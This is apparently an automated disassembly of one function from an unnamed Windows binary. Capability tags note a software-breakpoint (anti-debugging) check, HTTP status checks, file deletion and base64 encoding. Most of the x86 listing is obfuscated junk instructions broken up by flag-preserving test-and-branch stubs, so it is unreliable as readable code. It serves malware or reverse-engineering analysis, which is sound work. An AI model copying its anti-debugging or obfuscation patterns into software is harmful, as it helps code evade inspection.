Function at 0x10089149
Capabilities:
Check for software breakpoints
Check http status code
Delete file
Encode data using base64

Disassembly:
xor bh, dl
cli
cli
cmpsd dword [esi], dword es:[edi]
jg 0x1008914d
adc al, 0xc0
jne 0x100890db
popfd
push 0x960f97e3
xor byte [ebp + 0x73], cl
sbb byte [ebx + 0x5b], bl
outsd dx, dword [esi]
mov byte [edi + 0x1d2f7398], cl
jecxz 0x100890f7
sbb eax, 0x8832fde3
pop eax
les edx, [ecx + 0x6fb8acb2]
les ecx, [ebx + 0x64]
xor cl, byte [eax - 0x4d6e3ba8]
lodsb al, byte [esi]
mov eax, 0x644bc46f
or eax, 0x5f0f7a30
daa
pushal
stosb byte es:[edi], al
mov edi, dword [ecx + 0x3ac77b04]
jnp 0x100890da
cmp bl, byte [ebp + 0x956abe8]
add byte [ecx - 1], bl
mov ch, 0xc0
salc
invalid
popfd
call fcn.1011e7c5
pop ecx
push dword [ebp - 0x2940]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, byte [ebp - 0x2931]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011e48a
leave
ret 0xc
push ebp
pushfd
test byte [0x10089210], 0xca
jne 0x10089211
adc byte [edx + 0xfca1008], dl
test dword [ecx - 0xe000000], edi
add byte [eax], al
add dl, dh
push edi
push edi
ror dword [ecx + 0x6f7417ba], 1
pop edx
jne 0x1008916b
scasb al, byte es:[edi]
and byte [esi], bh
mov dl, 0xb
sbb eax, 0x4bbcf15a
int1
popal
fnstsw word [edi - 0x61]
mov esp, 0xdd61f14b
jg 0x10089111
clc
and al, 0xcf
popal
and ebx, dword [edx + ebp + 0x3e]
dec ebx
arpl bp, sp
xchg edx, eax
or al, 0x9b
cmp dword [ebx - 0x2a], edx
pushfd
xchg ecx, eax
stc
and eax, 0x5e4e441
jle 0x1008919a
sbb eax, 0xac10c6b1
cmp bl, byte [ecx + esi*8]
ror byte [esp + ebx*2 - 0x7c], 1
in al, 0x48
dec eax
loop 0x100891ec
mov ch, 0x59
fst qword [ebx + 0x5d994f83]
popfd
mov dword [ebp + 0x65], ebx
jbe 0x100891f7
mov eax, dword [0xce8209b6]
ja 0x10089155
imul esi, dword [ebx + ebp - 0x69], 0xffffff94
adc al, 0x32
fnstsw word [esi - 0x269bce05]
fsubr qword [eax + edx*8 + 0x77759dc8]
mov byte [edi + 4], 0x8e
popfd
fidivr dword [edi + 0x6a845e33]
push ds
imul byte [eax]
mov eax, 0x223a4ead
mov ebx, ebp
fiadd dword [ebp + 0x33]
loopne 0x10089185
pop ss
xchg ebx, eax
sbb esi, eax
das
insb byte es:[edi], dx
inc ecx
sub eax, edx
jbe 0x1008919b
sub al, 0x80
inc esi
test eax, 0x3f1e5385
add byte [esi - 0x57], 0x85
push ebx
push ds
aas
mov bl, 0x76
sub edx, dword [edx]
jns 0x1008917b
out 0x3b, eax
arpl word [eax + esi*8], cx
pop esi
into
inc edi
pop esp
and ah, dh
dec edi
and ebx, dword [eax + 0x5b]
sub byte [ebx + 0x31e79d5a], dh
fld qword [edx - 0x16]
popfd
mov ebp, esp
push 0xffffffffffffffff
pushfd
test byte [0x100892e0], 0xa0
jne 0x100892e1
push esp
xor bh, dh
fisub word [ecx + 0x4e]
in al, 0x23
push ecx
push edx
and byte [eax + 0x43], 0xb1
cmp byte [esi - 0x72], dl
and byte [edi + 0x2b038e04], bl
xchg edi, eax
push eax
mov ebx, 0x5e865c17
in al, 2
scasd eax, dword es:[edi]
sub al, 0x79
mov ebp, dword [ebp - 0xc]
not dword [ebx - 0x5d]
xor edx, 0xffffffdd
jle 0x100891f3
mov eax, dword [0xc041a0ef]
or bl, byte [edi + 0x3427040]
mov bh, 0x7c
cmpsb byte [esi], byte es:[edi]
pop ebp
popfd
out dx, eax
mov al, byte [0x9f0ac041]
inc eax
jo 0x1008929d
add esi, dword [edi - 0x62a25984]
mov dl, 0xb0
sub byte [ebx], al
adc ecx, edx
mov esi, 0xad62bf42
mov bh, 0x20
leave
loopne 0x100892e7
or al, 0x22
push es
sbb dword [ecx], esi
or ecx, esi
mov eax, 0xa1d21d1e
sbb eax, 0xed984a5
sub eax, 0xa67b81e1
add ebx, dword [esp + edi*4 + 0x7d]
pushal
out dx, al
outsd dx, dword [esi]
push esp
jbe 0x10089251
mov ah, 0xc9
loop 0x100892de
pop edx
sub eax, 0xcc8785df
inc edi
sub al, 0x52
mov bl, 0x69
push ecx
fisttp qword [esi + ecx*2 + 0x5a]
mov edx, 0x8028a3b7
jle 0x1008927e
jle 0x100892e2
pop ebp
inc ebp
clc
mov ebx, 0x610bb439
cmpsd dword [esi], dword es:[edi]
push eax
add eax, 0xb1fbaf01
add byte [edi + 0x18], ch
add eax, 0x6925cb5c
sub eax, ecx
outsd dx, dword [esi]
and ebp, dword [edx]
sub dword [esi], edx
test al, 0x93
fmul dword [ebx]
dec ebp
add eax, 0x7459fcd3
push ss
push edi
sbb dl, ah
xchg esi, eax
leave
cmp dword [edi], 0xffffff8a
int3
aas
mov cl, ah
popfd
push 0x10141693
mov eax, dword fs:[0]
pushfd
test byte [0x100893de], 0x42
jne 0x100893df
lds esp, [edx + 0xf]
cli
jae 0x100892fe
fidivr word [eax + 0x17777f15]
lds esi, [edx]
fisub word [eax]
out 0x11, eax
xlatb
add byte [ecx], ch
pop ebp
bound ebx, qword [ecx]
test byte [esi + 0x12], dl
pop ds
or ecx, dword [ecx]
imul esi, dword [ecx], 0x881f6ded
mov eax, 0xfbbaf59c
stosb byte es:[edi], al
mov al, byte fs:[edi - 0x5a]
mov edi, 0x3bae7db5
popfd
or dword [esi - 0xda3458a], esp
and byte [esi + 0x24e98ff9], dh
mov ch, 0xaa
fimul dword [esi]
into
xchg esp, eax
fdiv dword [eax + 0x77]
cmpsd dword [esi], dword es:[edi]
push cs
ficom word [esi + 0x71]
pop ebx
inc edx
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
shr bh, cl
add al, 0x7c
mov edx, 0xbc3ab7a0
push ss
and dword [eax - 0x20d877d4], ebx
jl 0x10089344
aaa
cmpsd dword [esi], dword es:[edi]
rol byte [0x87d6034d], 1
aaa
cmp esp, dword [esi - 0x2da88856]
mov ch, 0xda
push edi
ror dword [eax + 0xc], 0x38
cmp bh, ch
dec eax
xchg ebx, eax
xor bl, byte [ebx + 0x54]
xchg dh, ch
xchg edx, eax
mov eax, 0xa69b5e40
aad 0x98
rol byte [eax - 0x500c73c1], 1
cmp byte [ebx + ebp*8 + 0x63], ah
fnsave dword [ebx - 0x5c61faab]
mov dword [edi + 0xe7d5728], ebp
mov dword [0x5728af89], eax
jge 0x100893aa
cmp al, 0x58
xor cl, byte [ebx]
xor eax, 0xa0c35315
mov esi, 0x18ec3c27
mov al, byte [0xec3c27be]
sbb byte [esi], dl
push ss
xor edi, edi
mov esi, 0x9feafe69
movsd dword es:[edi], dword [esi]
stosb byte es:[edi], al
lds esi, [edi + 0x7d36127]
xlatb
insb byte es:[edi], dx
jg 0x10089395
or eax, 0x253e2428
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0x2ac53015]
xor eax, 0x5004f636
jecxz 0x100893a4
adc al, byte [edx - 0x1c30049a]
push dword [eax - 0x795dc838]
scasb al, byte es:[edi]
sti
mov byte [0x9dfbae86], al
popfd
push eax
mov eax, 0x2828
call fcn.1011f220
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
pushfd
test byte [0x100894a2], 0x9c
jne 0x100894a3
xchg eax, esp
sub esp, dword [edi - 0x75d4a776]
or dword [edx + ecx*4], 0x290155f2
or ecx, dword [eax + edx*4]
test dword [edi + 0x79], esi
imul esp, dword [eax - 0x2c313ec5], 0x967e6b25
inc esp
mov dh, 0x73
aas
cmp al, 0x20
movsd dword es:[edi], dword [esi]
test eax, 0x37048477
mov eax, dword [0xec602571]
stc
rol byte [ecx + 0x633a374b], cl
insb byte es:[edi], dx
dec ebx
aaa
cmp ah, byte [ebx + 0x6c]
inc ebp
cld
xor byte [eax + 0x1f57b04f], dl
adc al, 0xd3
js 0x100893db
mov dword [esi], edi
cmp al, 0xbf
push edi
sbb al, 0x38
call 0xe0f14036
into
je 0x100894d2
cmp byte [esi], bh
adc ebx, eax
out 0xa4, al
sbb byte [edx + edi*4], dh
adc esi, eax
xchg esp, eax
mov ebx, 0xf1ca71ef
xchg ecx, eax
aad 0xff
cmpsd dword [esi], dword es:[edi]
pop esi
loop 0x1008943f
leave
fsub st(5)
jecxz 0x10089498
xchg esi, eax
test dword [ecx + 0x62751336], ecx
mov dh, 0x6b
stosb byte es:[edi], al
jge 0x10089440
or al, 0x4e
xor dword [edi - 0x2010587], eax
std
outsb dx, byte [esi]
mov ah, 7
movsb byte es:[edi], byte [esi]
xor al, byte [eax]
sub ecx, dword [ebx - 0x53ebd9ec]
xchg esi, eax
enter 0x5c9a, 0x12
popfd
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
jge 0x100894b5
pushfd
test byte [0x100894ca], 0x23
jne 0x100894cb
mov ecx, 0x39260480
inc ebx
jo 0x100894ab
jecxz 0x1008952c
fcom qword [eax - 0x3e5796bd]
int 0xc4
outsd dx, dword [esi]
scasb al, byte es:[edi]
popfd
mov ebx, dword [ebp + 0xc]
push 0x27ff
add byte [eax], al
lea eax, [ebp - 0x280f]
push 0
pushfd
test byte [0x100894f8], 0x72
jne 0x100894f9
and al, 0x93
and dword [ecx - 0x4be631dc], edx
pop esp
and al, 0x17
je 0x10089484
popal
mov bl, 0xe2
push ds
jns 0x10089512
popfd
push eax
mov esi, ecx
mov byte [ebp - 0x2810], 0
call fcn.1011df60
lea eax, [esi + 0x1d0]
add esp, 0xc
push eax
mov byte [ebp - 0x282d], 0
mov dword [ebp - 0x2834], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0xffffffffffffffff
push 0
push edi
lea ecx, [esi + 0x10]
pushfd
test byte [0x100895fb], 0xdf
dec esi
adc byte [esi + esi*8 + 0x895fb05], bl
adc bh, bl
jne 0x100895fc
mov al, 0x2c
pop ds
fcmovu st(0), st(4)
inc ebp
and dword [ecx - 0x69a3139a], ecx
in al, dx
pop esp
xchg esi, eax
push esp
pop edi
push 0x66422346
cmp dword [eax + 0x70], eax
dec edx
inc ecx
lahf
push esi
aam 0xa3
popfd
and al, 0xe5
aas
adc eax, 0xb6a6282f
sub ah, byte [esi - 0x5c]
ror byte [edi + ebp*2 - 0x356b4d66], 0xdc
cmpsb byte [esi], byte es:[edi]
div dword [edi - 0x1e]
aaa
js 0x10089545
add eax, dword [edi + 0x6d6dd19e]
dec esi
sbb esi, dword [edx + 0x24]
sub dword [ebp - 0x43], eax
push edi
sar dword [ebx - 0x3b], 0x12
and dword [0xf183e965], esi
and dword [ebp - 0x4f], 0xffffffef
out 0x65, al
add dh, byte [esi - 0x762402a7]
xchg dword [edx - 0x1e2e9f4b], edi
in al, 0x4d
sbb esp, esi
mov ecx, 0xefa853eb
mov ebx, 0xb58b7166
popfd
and ah, byte [esi + 0x391ef5d0]
adc al, 1
xor edx, dword [edx + eax*2 - 0xf1a6d80]
cmp dl, 3
xlatb
out dx, eax
inc edx
adc ebx, dword [edi + 0x78887718]
cwde
adc eax, ebp
outsb dx, byte [esi]
or bl, byte [eax]
cmp al, 0x5c
sub al, 0xe0
aam 0x65
inc edi
and eax, 0x35197ad1
adc edi, ebx
pop ebx
adc byte [edi + ebp*4 + 0x34], cl
pop eax
adc al, 0xbe
test dword [eax - 0x6d85d368], esp
mov al, 0xf0
sub ebx, ebx
and esi, dword [ebp - 0x60]
pushal
dec edi
mov ch, 0x3b
mov al, byte [0x3bb54f60]
aad 0xdf
lodsd eax, dword [esi]
mov bl, 0x9c
popfd
call fcn.10004b88
lea eax, [esi + 0x128]
and dword [eax + 0x10], 0
pushfd
test byte [0x100896ca], 0xf9
stc
jne 0x100896cb
inc edi
jg 0x10089642
aad 0x15
pushal
int1
push edx
out dx, al
inc ebp
or byte [ecx], ch
push ecx
rcl dword [eax + 0x4c]
not byte [esi + 0x6b]
mov edx, 0x16c012b8
push cs
sub byte [ebp + ecx*8 + 0x22c61134], ch
scasd eax, dword es:[di]
sbb ah, cl
out 0x3b, al
cmc
jb 0x10089613
aam 0x54
test byte [0x375ac9a0], ch
test byte [edx], cl
popal
scasd eax, dword es:[edi]
or esi, esi
std
imul esp, dword [ebx + 0x35], 0x18a34975
mov bl, 0xd1
scasb al, byte es:[edi]
aam 0x3f
xor ah, dl
salc
adc eax, ebx
inc ebp
enter 0x53f, 0xffffffffffffff88
sahf
xchg esi, eax
sal dword [edx], 0xb6
jb 0x100895f2
and dword [esi - 0x6d], 0xf51f42f2
xchg bx, ax
inc edx
pop ds
cmc
sub byte [0xf7981bf0], dl
out dx, al
add al, 0xac
mov eax, dword [0xa8b482e0]
mov dl, 0x5e
add al, 0xd
pop ebp
dec edi
sti
sbb al, 0x32
pop ds
rol byte [ebp + 2], cl
mov eax, dword [0xd7fbcc6e]
inc esi
pop es
xchg ah, dl
sbb eax, 0xdbc8df2f
inc ecx
add al, 0x45
mov ebp, 0x2b83cf8c
mov ebp, 0x6c3889e5
mov edx, fs
popal
movsd dword es:[edi], dword [esi]
dec esp
dec edx
or dword [ebp - 0x5db6c570], ecx
mov bh, 0x13
pop esp
jl 0x100896eb
cld
stosd dword es:[edi], eax
sub ebx, 0x47
xchg edi, eax
fcomp qword [edi + 0x65]
test bh, al
jo 0x10089670
popfd
cmp dword [eax + 0x14], 0x10
jb 0x100896d4
mov eax, dword [eax]
mov ecx, esi
mov byte [eax], 0
call fcn.10075d48
pushfd
test byte [0x10089766], 0x74
jne 0x10089767
xchg di, ax
or byte [eax], dl
je 0x1008975c
jg 0x10089755
insb byte es:[edi], dx
into
bound eax, qword [esi + 0x39f341fb]
adc dword [ebp + 0x45e3d8fc], 0x9fa77ad0
xchg bl, bh
inc ecx
cmp dword [ecx - 0x1c27036b], eax
inc ebp
sar byte [edx - 0x59], 1
lahf
xor al, 0xa8
sub eax, 0xb60579e0
adc dl, bh
jns 0x10089742
loop 0x100896e1
fld st(1)
sbb ch, al
daa
cmp al, 0x23
mov bl, 0xcd
mov ch, 0x1a
sbb ebx, ecx
xor cl, al
pop ds
add bl, byte [esi]
and al, 0x7b
rcl edi, 0x4a
cmp edx, dword [ebp + ebx*4 - 0x82b4bc8]
mov ebp, 0x9f19cfd1
pop edi
push edx
test byte [eax - 4], dh
shl dword [ebx + edi], 6
xor dword [bx + si - 0x26b4], eax
cmpsd dword [esi], dword es:[edi]
pop esi
inc edx
adc al, 0x62
ror byte [ecx - 0x7a64cab3], 0xc0
test eax, eax
mov edi, 0x446982
and dl, dh
aam 0xf2
mov al, byte [0x902843e6]
fst dword ds:[eax + 0x67]
mov dh, 0x47
mov dh, 0x47
sbb eax, 0xe49dc825
arpl word [0xcbd50005], di
in al, 0x63
cmp eax, 0xcbd50005
rcl byte [ecx + 0x12]
int1
popfd
cmp al, 1
jne 0x10089e78
push dword [ebp + 0x10]
mov ecx, esi
push ebx
call fcn.1007ac56
cmp al, 1
jne 0x10089e78
lea eax, [ebp - 0x282c]
push eax
mov ecx, esi
call fcn.1006f2a4
mov edi, eax
and dword [ebp - 4], 0
mov ebx, 0x10147604
push ebx
call fcn.1011d740
pushfd
test byte [0x10089872], 0xb4
jne 0x10089873
xchg edi, eax
salc
imul eax, ebp, 0x9465c3b
imul esp, dword [edx - 0x6d], 0xffffffe9
scasb al, byte es:[edi]
push cs
or eax, 0xb527d9dd
insb byte es:[edi], dx
fcom dword [edi]
test eax, 0x87063c8f
xor eax, 0xa1b546ac
adc bh, al
adc bh, al
das
jno 0x100897d6
xchg esi, eax
scasb al, byte es:[edi]
pop edi
mov ebp, dword [eax - 0x6483a1bc]
mov esp, 0xbdeb9ae1
adc dword fs:[esi + 0x22c3d71f], esp
dec esp
pop ds
nop
cmp al, ch
or edx, edi
cwde
inc edi
mov cl, 0x91
and edx, dword [eax + 6]
out dx, eax
inc esp
xchg ebx, eax
or dword [ebx], ebp
or eax, edx
sbb cl, dh
sub ebp, dword [ecx + 0x593f20db]
into
adc byte [ecx - 0xb], bh
sub esp, dword [ebx + 0x7d355f72]
ror byte [esi + edi*4], cl
cmp dl, byte [edi - 0x4e213542]
inc edi
int1
or ebx, dword [ecx]
or ah, dh
mov al, byte [0xb7d75c33]
or dh, byte [eax - 0x11fa3ae3]
and eax, dword [esi - 0x55]
push es
push ebx
sti
xchg edi, eax
or eax, 0xec87064c
jg 0x100897d1
dec eax
xor dword [ebx], eax
sub edx, edi
call 0x794107bc
out 0xfa, eax
aas
js 0x1008984f
xor dh, 1
pop esp
cmpsd dword [esi], dword es:[edi]
and ecx, dword [edx - 0x661ef357]
sbb eax, dword [esi - 0x26]
int1
sbb dword [ebx + edx*8], edi
daa
in eax, 0xda
jns 0x10089834
mov edi, 0x29690765
lds ecx, [edi]
pop edi
rcr dword [ebx], 0x30
xor byte [esi + edx*4 + 0x28d2654c], ah
popfd
pop ecx
push eax
push ebx
pushfd
test byte [0x100898d7], 0xaa
jne 0x100898d8
inc edi
stosb byte es:[edi], al
out 0xbe, eax
aas
push 0xf1d34c07
outsb dx, byte [esi]
push edx
pop esp
dec esp
mov ecx, 0x9ee7bdcf
or al, byte [eax + 0x19030611]
inc esp
mov cl, 0xcd
inc esi
fistp dword [edx - 0x51830a30]
cmp eax, 0x57e0150
sub byte [ecx - 0x23], ah
cmp eax, 0x4c3c0fa
add ebp, dword [ebx + 0x169ca25c]
pushfd
sbb al, 0x62
jecxz 0x10089901
push edx
push ebp
loop 0x10089917
sti
clc
imul al
adc eax, 0xfbe8629
pop es
or ebx, ebx
pop es
test dword [edi - 0x12], edx
sub eax, 0x6f2f436
popfd
push dword [edi + 0x10]
mov ecx, edi
push 0
pushfd
test byte [0x100899e6], 0xc1
jne 0x100899e7
inc edi
mov bh, 0x8f
mul dword fs:[0x41746bed]
fdivr qword [edi - 0x6fe67d83]
popfd
ja 0x10089888
pop esi
push ds
sub dword [ebp + 0x3e8f80e5], edi
mov dword [esi - 0x420e00a6], edx
cmp al, 0xbc
bound esp, qword [ebx]
rcl byte [esi + eax*2], cl
sbb al, 0xd8
jnp 0x100898cf
fdivr dword [ebx - 0x4b]
add ebx, 0xb09120b7
invalid
popfd
call fcn.1005e4cc
mov ebx, eax
push 0
neg ebx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
push 1
pushfd
test byte [0x10089a1d], 0xd8
std
dec dword [ebx - 0x8ff9528]
fistp dword [edx]
fild dword [ebx + 0x6afffc4d]
add dword [esi + esi*8 + 0x89a1d05], ebx
adc al, bl
lcall 0x1585, 0xfd81008
add dword [eax], eax
add byte [edx - 0x39], cl
add al, 8
in eax, dx
push ss
nop
lcall 0xae44, 0xe174c0ce
jne 0x10089b1e
adc eax, 0x4a000001
dec edx
mov dword [eax + ecx], 0x9a9016ed
into
sal byte [ecx + 0x44], 0xae
xor dword [0x19226c72], ebp
dec edx
jecxz 0x100899eb
jecxz 0x10089a05
jno 0x10089a11
mov esi, 0xdfde8222
dec eax
mov al, byte [0x4c8cc51a]
leave
xchg ecx, eax
fmulp st(7)
sbb esp, dword [ecx]
bound eax, qword fs:[edi - 0x4c]
rcr dword [eax + 0x26fc5004], 1
adc byte [ebx], cl
or ebp, dword [edx]
imul ebp, dword [ebx + ebx*4 + 0x7df0a507], 0xffffff83
adc esi, ecx
adc dword [ebx], 0xfffffff1
ror byte [esi + 0x11a21614], 1
and ch, byte [eax - 7]
lodsd eax, dword [esi]
leave
jns 0x100899ff
dec edi
cmp esp, dword [ebx]
in al, 0xb8
fnsave dword [eax + 0x34041342]
mov ebx, 0xe0a0359d
push cs
leave
or al, 0x66
add eax, 0xdd00cc31
or byte [ebx + edx*4], cl
and bl, dl
dec ecx
arpl word [edi + 0x5deeaa8a], si
mov esi, 0x9ef8e849
cmp eax, 0xffe73a05
sub byte [eax + 0x7d], 0x35
jge 0x10089ac4
jb 0x10089aea
sub dword [ebx - 0x57], edi
invalid
adc dword [edi + 0x7d], ecx
shr byte [edx], cl
jae 0x10089a4c
mov ah, 0xe5
sti
enter 0xffffffffffffd084, 0xffffffffffffffa1
mov al, byte [0x15f24662]
sub al, ah
xor eax, 0xe233aa6e
inc esi
adc eax, 0x6e35e028
stosb byte es:[edi], al
xor esp, edx
add esp, dword [esi + 0x26]
aaa
and al, 0x23
jg 0x10089a8d
out 0x17, al
pop esi
push ds
add ebp, eax
mov dl, dh
xchg ecx, eax
xchg edx, eax
or bl, bl
sub dword [edi + 0x30d8011a], ebx
jno 0x10089aea
add dh, cl
pop es
jae 0x10089ab3
cmp dword [edi], ecx
pushal
mov al, bh
int1
xchg esp, eax
pushfd
and eax, 0x14851709
or ah, byte [ebx + 0x52]
scasd eax, dword es:[edi]
or al, 0x24
xchg ebx, eax
jo 0x10089b69
fstp dword [ebx + edx*8 + 0x38]
cwde
inc edx
jne 0x10089b51
xchg edi, eax
stosd dword es:[edi], eax
rdmsr
rol byte [0x48e89c0f], 0xc7
push ds
jae 0x10089ab8
das
popfd
lea ecx, [ebp - 0x282c]
call fcn.10002a9a
inc bl
je 0x10089e78
push 0x2800
lea eax, [ebp - 0x2810]
push eax
pushfd
test byte [0x10089be1], 0x2d
jne 0x10089be2
pop eax
pushal
call 0xb6ffc286
into
aaa
clc
or byte [esi], al
mul dword [esi + 0x8f837ce]
push es
fsub qword [0xcbf54ee0]
daa
mov esp, 0xb50ae2bf
inc edi
inc ebp
xor eax, 0x91357fb3
int3
xor eax, 0x463fcc91
fdiv dword [ebp - 4]
mov dword [ecx - 0x21], esp
fisubr word [esi + 0x79]
xor dword [ebx + edx*2 + 0xf19ad00], 0x5acadd5
mov dword [edx + 0x56], ebx
push edx
mov esi, ecx
xchg esp, eax
mov esi, 0xf50fd0d1
add eax, 0xcee5ff7d
sub dword [ecx], esi
push 0x69
aas
movsd dword es:[edi], dword [esi]
push 0x8c7cd068
xchg esi, eax
add dword [ebx + edx - 0x5e], 0x71
fucompi st(7)
cmp byte [esi], ah
test dword [ebx], edx
add al, byte [ecx + 0x24397f86]
das
mov al, 0x54
push eax
out 0xc1, al
adc byte [edi], bh
salc
or ecx, edx
outsb dx, byte [esi]
pop ecx
nop
in al, 0xec
adc dword [edx + 0x76], esi
fisubr dword [ecx + 0x13fb9ade]
test al, 0xec
fidivr dword [esp + eax*4 + 0x42]
adc dword [eax], edi
dec ecx
fldcw word [ecx - 0x57]
into
sub esi, dword [esi + 0x1fd17581]
xchg ebp, eax
in al, 0x28
sub eax, dword [si]
popfd
mov ecx, esi
call fcn.10053401
pushfd
test byte [0x10089cd4], 0x33
jne 0x10089cd5
add byte [eax], al
xor eax, 0xf7a7fe72
mov eax, dword [0x37d4847]
popal
or eax, 0xe9cfb924
jge 0x10089c25
stosd dword es:[edi], eax
mov ecx, dword [ebx - 0x1f7add82]
sub dword [esi - 0x4ef06c1e], ecx
bound esp, qword [esi + 0x38d4ef26]
push edi
xor eax, 0x7ef975e8
and al, 0xda
push ebx
in eax, 0x1d
cli
aaa
scasb al, byte es:[edi]
xor ebp, esp
les esi, [edi - 0x6c15bbdc]
push ebx
xchg esi, eax
mov edx, 0x8fd2b6ac
mov esp, 0xe793f2ce
xchg ebp, eax
jl 0x10089c25
lahf
dec ebp
aad 0x6a
or byte [ecx + ecx*2 - 0x4e47ad9f], 0x8a
cmpsd dword [esi], dword es:[edi]
je 0x10089bf6
lodsb al, byte [esi]
cli
cmovbe esi, dword [ebp + 0x280bea56]
xchg edi, eax
in eax, dx
sub eax, 0x9612814f
pop ebp
push es
ror dword [ecx + 0x7f38eac], cl
salc
xchg byte [edx + 0x30f10996], dh
sbb al, 0xf7
aad 0xb5
in eax, dx
imul edi, dword [esp + edi - 0x70c43d11], 0x4bafcd7
mov ss, word [esi - 0x75efe1fa]
add al, 0xfe
std
or ch, ah
sar byte [ecx - 0x625f9333], 1
imul esp, dword [edx + 0x49d14948], 0xffffffce
dec esi
test al, 0x4b
adc eax, 0x326574f4
add al, 0x3b
jns 0x10089cd9
xchg dword [ebp - 0x3d], edx
int 0x1d
sar dword [esi - 0x2a873ab6], 0x9b
pop esi
outsb dx, byte [esi]
sbb byte [0x55318a4a], bh
add edx, dword [eax + 0x3aa5247a]
and al, 0x34
movsd dword es:[edi], dword [esi]
xchg ebx, eax
int3
popfd
test eax, eax
jle 0x10089e78
mov ds, word [edx - 0x72ffffff]
test eax, esi
xlatb
invalid
lea eax, [ebp - 0x2810]
push eax
pushfd
test byte [0x10089d4b], 0xc9
jne 0x10089d4c
test byte [edi], bh
das
and eax, 0xf35a70b5
leave
test edi, ebp
leave
and eax, 0xaba49b7c
or dl, byte [esi + ebp*4 + 0x62]
push esp
std
mov al, 0x45
mov ecx, 0x9e7e021
out 0x73, eax
dec esi
mov cl, 0x7a
pop es
jp 0x10089d1b
mov dl, 0x34
jne 0x10089cd9
test al, 0x6a
out dx, al
jg 0x10089d12
call 0x7f119c2a
jle 0x10089d60
or bh, al
cmp eax, 0x59ed9968
cmp al, 0x7a
sal byte [ecx + 0x64aac3bf], 0x41
int 0xfd
push edi
adc eax, 0x4ad9d9e9
fmul dword [edx - 0x6e]
imul edx, dword [ebp + 0x37], 0x1a334cb0
adc eax, 0xa28d0e02
invalid
popfd
call fcn.1011d740
pushfd
test byte [0x10089e5e], 0xa0
je 0x10089e5f
test bh, bh
add byte [eax], al
add byte [0xd0837b], dh
xor eax, 0xd0837b
push 0x7c0a937b
push es
jecxz 0x10089d5b
and al, 0x93
dec esp
mov ebx, 0x267db98a
arpl word [eax + 0x7effaf28], bx
mov esp, 0x857436cb
xchg edi, eax
sub dword [edi], ebx
jecxz 0x10089dcb
aad 0x9b
not ch
sti
push esp
call fcn.100820ff
stosd dword es:[edi], eax
imul ebp, dword [esi + 0x16], 0x2c
xor al, 0x38
pushfd
arpl word [ecx - 0x31], bx
in al, dx
push ebx
inc dh
mov ah, 0xd1
cli
loopne 0x10089d25
add al, 0x54
push es
mov ebx, ss
nop
adc al, 0xd0
xchg esi, eax
xchg edx, eax
aam 0xa8
dec eax
push eax
xor ebp, dword [edx]
mov ebx, 0x7c084b35
fcomp dword [ebp + 0x18954f6]
inc edi
imul esi, dword [ebx], 0x132619e6
xchg ebp, eax
push cs
or bl, byte [ecx]
push ebx
stosb byte es:[edi], al
pop ecx
sbb al, 0xb1
stosb byte es:[edi], al
xlatb
push ebp
jge 0x10089e24
pop ds
xchg ecx, eax
push ebp
cmp esi, 0xa245bf96
jns 0x10089e18
inc esp
sar dword [eax - 0x49], cl
add dword [ecx + 0x18dedcde], ebx
and esi, dword [ecx - 3]
cmp dword [ebp + 0x5165ed65], esp
cmpsd dword [esi], dword es:[edi]
jl 0x10089e75
adc esp, dword [eax + 0x22]
shr dword [ebx - 0x3c], 0xe0
sub bx, si
jne 0x10089e45
jle 0x10089e3a
mov ah, 0xd9
mov edx, 0x9abea62
and edx, dword [ebx - 0x102f31e2]
xchg esi, eax
das
add ch, al
push edi
push esp
aam 0x22
stosb byte es:[edi], al
jg 0x10089e5d
fmul qword [esi + 0x46bee287]
out 0xfc, eax
cld
pop ebp
pop ebx
rol byte [eax - 0x64633a08], 1
lea ebp, [edi]
in eax, 0x2b
dec edx
xchg dword [edx + 0x4dd6b39], esp
cli
inc esp
pushal
sub dh, byte [0xb6f208dc]
out dx, al
ror dword [eax + esi*8 - 0x656fc69c], 0xd9
clc
dec edi
cmp dword fs:[eax + 0x4ff8d99a], edx
aaa
adc al, 0x90
xchg edx, eax
aaa
sal byte [edi + 0x73], 0x95
js 0x10089e5c
test byte [eax], ch
sub byte [edi + edx*2], cl
invalid
aad 0x4b
popfd
pop ecx
push eax
lea eax, [ebp - 0x2810]
push eax
lea ecx, [esi + 0x64]
call fcn.10005303
mov byte [ebp - 0x282d], 1
invalid
mov ecx, esi
pushfd
test byte [0x10089ef3], 0x25
jne 0x10089ef4
or edi, esp
aas
test al, 0x32
insb byte es:[edi], dx
sbb bl, dl
xchg esi, eax
out dx, al
std
mov eax, 0xa89a6f72
imul esp, dword [esi], 0x2efd10ea
mov esi, 0xd9c3326b
std
mov esi, 0xd9c3326b
dec edx
dec ebx
mov al, byte [0xe550c449]
ror byte [edi - 0x1817d07], 0xed
stosb byte es:[edi], al
sal dword [edi + 0x41], 0x87
fst qword [ebp - 0x6e]
inc dword [eax]
add eax, 0x51782829
arpl ax, ax
lodsd eax, dword [esi]
js 0x10089ecd
add al, 0x15
pop ebx
mov edx, 0xf0aeb465
imul edx, dword [ebp - 0x6b368031], 0x8392566d
or eax, dword [edx]
jg 0x10089e98
xchg esp, eax
insd dword es:[edi], dx
push esi
xchg edx, eax
or dword [ebx], 2
in eax, dx
int3
xchg esp, eax
or byte [esi + eax*2 + 0x778c221f], ah
xchg edx, eax
out 0x59, al
dec esp
pop ebp
mov ah, 0xb8
lahf
popfd
call fcn.10052fae
push dword [ebp - 0x2834]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, byte [ebp - 0x282d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pushfd
test byte [0x10089f64], 0xd0
jne 0x10089f65
sti
add edi, dword [edi]
stosd dword es:[edi], eax
aam 0x8f
xchg ebp, eax
insb byte es:[edi], dx
add al, 0x97
pushfd
imul edi, dword [ebx + 0x75c1363d], 0x6a
jl 0x10089ee4
xor dword cs:[esi], 0xffffffca
lodsb al, byte [esi]
lds ecx, [esi - 0x7311eb63]
